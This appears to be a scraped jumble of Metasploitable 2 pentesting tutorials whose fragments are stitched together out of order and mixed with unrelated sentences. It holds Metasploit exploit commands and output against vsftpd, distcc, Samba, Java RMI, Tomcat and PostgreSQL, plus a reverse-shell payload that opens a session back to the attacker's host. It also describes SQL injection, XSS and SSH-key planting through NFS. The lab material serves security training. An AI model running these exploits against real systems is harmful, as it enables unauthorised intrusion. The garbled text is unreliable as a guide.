-- ----
Id Name
RETURN_ROWSET true no Set to true to see query result sets
VERBOSE false no Enable verbose output
High-end tools like Metasploit and Nmap can be used to test this application by security enthusiasts.
Name Current Setting Required Description
[*] Accepted the first client connection
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux, msf > use auxiliary/scanner/telnet/telnet_version
- Cisco 677/678 Telnet Buffer Overflow . Matching Modules
[*] Transmitting intermediate stager for over-sized stage(100 bytes)
In this demonstration we are going to use the Metasploit Framework (MSF) on Kali Linux against the TWiki web app on Metasploitable. Proxies no Use a proxy chain
Sources referenced include OWASP (Open Web Application Security Project) amongst others.
Inject the XSS on the register.php page.XSS via the username field, Parameter pollutionGET for POSTXSS via the choice parameterCross site request forgery to force user choice.
In the next section, we will walk through some of these vectors. Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Execution, msf > use exploit/unix/ftp/vsftpd_234_backdoor
This is Metasploitable2 (Linux) Metasploitable is an intentionally vulnerable Linux virtual machine. RHOSTS yes The target address range or CIDR identifier
This program makes it easy to scale large compiler jobs across a farm of like-configured systems. msf exploit(vsftpd_234_backdoor) > show payloads
In this series of articles we demonstrate how to discover & exploit some of the intentional vulnerabilities within the Metasploitable pentesting target. Id Name
-- ----
VHOST no HTTP server virtual host
Getting access to a system with a writeable filesystem like this is trivial. -- ----
root.
Step 6: Display Database Name.
For example, the Mutillidae application may be accessed (in this example) at address http://192.168.56.101/mutillidae/. msf exploit(distcc_exec) > set RHOST 192.168.127.154
DB_ALL_CREDS false no Try each user/password couple stored in the current database
Name Current Setting Required Description
Some folks may already be aware of Metasploitable, an intentionally vulnerable virtual machine designed for training, exploit testing, and general target practice. It aids the penetration testers in choosing and configuring of exploits.
. Display the contents of the newly created file. msf auxiliary(postgres_login) > set STOP_ON_SUCCESS true
TOMCAT_PASS no The Password for the specified username
Id Name
TOMCAT_USER no The username to authenticate as
[*] Command: echo qcHh6jsH8rZghWdi;
On Metasploitable 2, there are many other vulnerabilities open to exploit. 0 Automatic
Lets begin by pulling up the Mutillidae homepage: Notice that the Security Level is set to 0, Hints is also set to 0, and that the user is not Logged In. Same as login.php.
PASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line
Other names may be trademarks of their respective. [*] Auxiliary module execution completed, msf > use exploit/linux/postgres/postgres_payload
[*] Matching
msf exploit(java_rmi_server) > set LHOST 192.168.127.159
Additionally, an ill-advised PHP information disclosure page can be found at http:///phpinfo.php. [*] Writing to socket A
-- ----
msf exploit(java_rmi_server) > show options
THREADS 1 yes The number of concurrent threads
Have you used Metasploitable to practice Penetration Testing?
[*] Accepted the first client connection
Part 2 - Network Scanning. We can escalate our privileges using the earlier udev exploit, so were not going to go over it again. Module options (exploit/multi/http/tomcat_mgr_deploy):
The nmap scan shows that the port is open but tcpwrapped.
LHOST => 192.168.127.159
USERNAME => tomcat
Effectively what happens is that the Name validation is made to always be true by closing off the field with a single quote and using the OR operator. Ultimately they all fall flat in certain areas. : CVE-2009-1234 or 2010-1234 or 20101234) After you have downloaded the Metasploitable 2 file, you will need to unzip the file to see its contents.
msf exploit(usermap_script) > show options
RPORT 1099 yes The target port
Help Command SSLCert no Path to a custom SSL certificate (default is randomly generated)
From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. [*] Reading from socket B
USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line
[*] 192.168.127.154:23 TELNET _ _ _ _ _ _ ____ \x0a _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a |_| \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
The list is organized in an interactive table (spreadsheet) with the most important information about each module in one row, namely: Exploit module name with a brief description of the exploit List of platforms and CVEs (if specified in the module) USERNAME no The username to authenticate as
Step 4: ChooseUse anexisting virtual hard drive file, clickthe folder icon and select C:/users/UserName/VirtualBox VMs/Metasploitable2/Metasploitable.vmdk. Browsing to http://192.168.56.101/ shows the web application home page. This module takes advantage of the RMI Registry and RMI Activation Services default configuration, allowing classes to be loaded from any remote URL (HTTP).
Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges.
This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques. The-e flag is intended to indicate exports: Oh, how sweet! [*] Accepted the first client connection
It is inherently vulnerable since it distributes data in plain text, leaving many security holes open.
msf exploit(distcc_exec) > exploit
Least significant byte first in each pixel.
Module options (exploit/multi/samba/usermap_script):
This must be an address on the local machine or 0.0.0.0
Name Current Setting Required Description
PASSWORD no The Password for the specified username. RHOSTS yes The target address range or CIDR identifier
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
RHOST 192.168.127.154 yes The target address
Name Current Setting Required Description
I hope this tutorial helped to install metasploitable 2 in an easy way. Metasploitable 2 offers the researcher several opportunities to use the Metasploit framework to practice penetration testing.
Set Version: Ubuntu, and to continue, click the Next button. [*] Matching
The CVE List is built by CVE Numbering Authorities (CNAs).
RPORT 3632 yes The target port
This will be the address you'll use for testing purposes.
Here are the outcomes. Once you open the Metasploit console, you will get to see the following screen. ---- --------------- -------- -----------
In this example, the URL would be http://192.168.56.101/phpinfo.php. To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user.
Name Current Setting Required Description
In this article, we'll look at how this framework within Kali Linux can be used to attack a Windows 10 machine. At a minimum, the following weak system accounts are configured on the system. It is also instrumental in Intrusion Detection System signature development.
First, whats Metasploit? msf auxiliary(smb_version) > show options
Using the UPDATE pg_largeobject binary injection method, this module compiles a Linux shared object file, uploads it to your target host, and generates a UDF (user-defined function) by that shared object. [*] Command: echo VhuwDGXAoBmUMNcg;
0 Automatic
payload => cmd/unix/reverse
Samba, when configured with a writeable file share and "wide links" enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared. The example below uses a Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share. now you can do some post exploitation. Here we examine Mutillidae which contains the OWASP Top Ten and more vulnerabilities. Working with the Vulnerability Validation Wizard, Validating Vulnerabilities Discovered by Nexpose, Social Engineering Campaign Details Report, Single Password Testing MetaModule Report, Understanding the Credentials Domino MetaModule Findings, Segmentation and Firewall Testing MetaModule, Managing the Database from the Pro Console, Metasploit service can"t bind to port 3790, Items Displaying Incorrectly After Update, Installation failed: Signature failure Error, Use Meterpreter Locally Without an Exploit, Issue Restarting on Windows Due to RangeError, Social Engineering Campaigns Report Image Broken, Social Engineering Campaign Taking a Long Time, eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1, inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0, inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link, UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1, root@ubuntu:~# nmap -p0-65535 192.168.99.131, Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT, Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686, root@ubuntu:~# showmount -e 192.168.99.131. [*] Uploaded as /tmp/uVhDfWDg.so, should be cleaned up automatically
Differences between Metasploitable 3 and the older versions. [*] Accepted the second client connection
Exploiting All Remote Vulnerability In Metasploitable - 2. Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image.
To access a particular web application, click on one of the links provided.
SRVPORT 8080 yes The local port to listen on. RHOSTS yes The target address range or CIDR identifier
To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file: On port 21, Metasploitable2 runs vsftpd, a popular FTP server. Proxies no Use a proxy chain
[*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:46653) at 2021-02-06 22:23:23 +0300
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